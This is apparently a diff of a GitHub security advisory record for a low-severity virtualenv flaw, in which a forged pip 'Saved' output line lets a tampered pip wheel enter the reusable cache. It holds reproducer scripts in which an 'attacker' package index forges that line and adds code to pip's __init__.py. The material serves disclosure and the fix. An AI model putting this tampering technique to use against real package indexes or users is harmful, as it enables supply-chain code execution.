f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \" line into pip's output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: make pip print a \"Saved \" line of its choice.\n\nusage: index_forges_saved_line.py \n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding (requires-python:): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n 'pip-100.0-py3-none-any.whl\\n'\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv's comparison with PyPI's SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b'\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n'\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's\n# download folder first, and pip replaces a file of the same name there only when the link's digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f'\\n{wheel.name}\\n'\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \n\nThe wheels bundled with virtualenv are genuine PyPI files. /.json is what\nhttps://pypi.org/pypi//json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.\n is a PEP 503 tree (simple//index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f'{filename}')\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \n\nOnly the request for https://pypi.org/pypi//json is replaced: it is answered from /.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-494p-63j8-28p3/GHSA-494p-63j8-28p3.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113714"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3430"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-354"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:25:22Z","nvd_published_at":"2026-10-20T19:17:34Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-494p-63j8-28p3","published":"2026-10-23T22:25:22Z","modified":"2026-11-18T12:10:49.565642866Z","aliases":["BIT-virtualenv-2026-113714","CVE-2026-113714","PYSEC-2026-4373"],"summary":"virtualenv: Downloaded wheel selection and caching precede verification","details":"## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip's stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link's `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved ` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment's `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I->>P: modified wheel and forged Saved line\n P->>C: write modified wheel directly\n P-->>V: stdout names genuine bundled wheel\n V->>V: hash genuine wheel and accept\n V->>C: record modified wheel for reuse\n C->>N: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \" line into pip's output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: make pip print a \"Saved \" line of its choice.\n\nusage: index_forges_saved_line.py \n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding (requires-python:): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n 'pip-100.0-py3-none-any.whl\\n'\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv's comparison with PyPI's SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b'\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n'\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's\n# download folder first, and pip replaces a file of the same name there only when the link's digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f'\\n{wheel.name}\\n'\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \n\nThe wheels bundled with virtualenv are genuine PyPI files. /.json is what\nhttps://pypi.org/pypi//json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.\n is a PEP 503 tree (simple//index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f'{filename}')\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \n\nOnly the request for https://pypi.org/pypi//json is replaced: it is answered from /.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.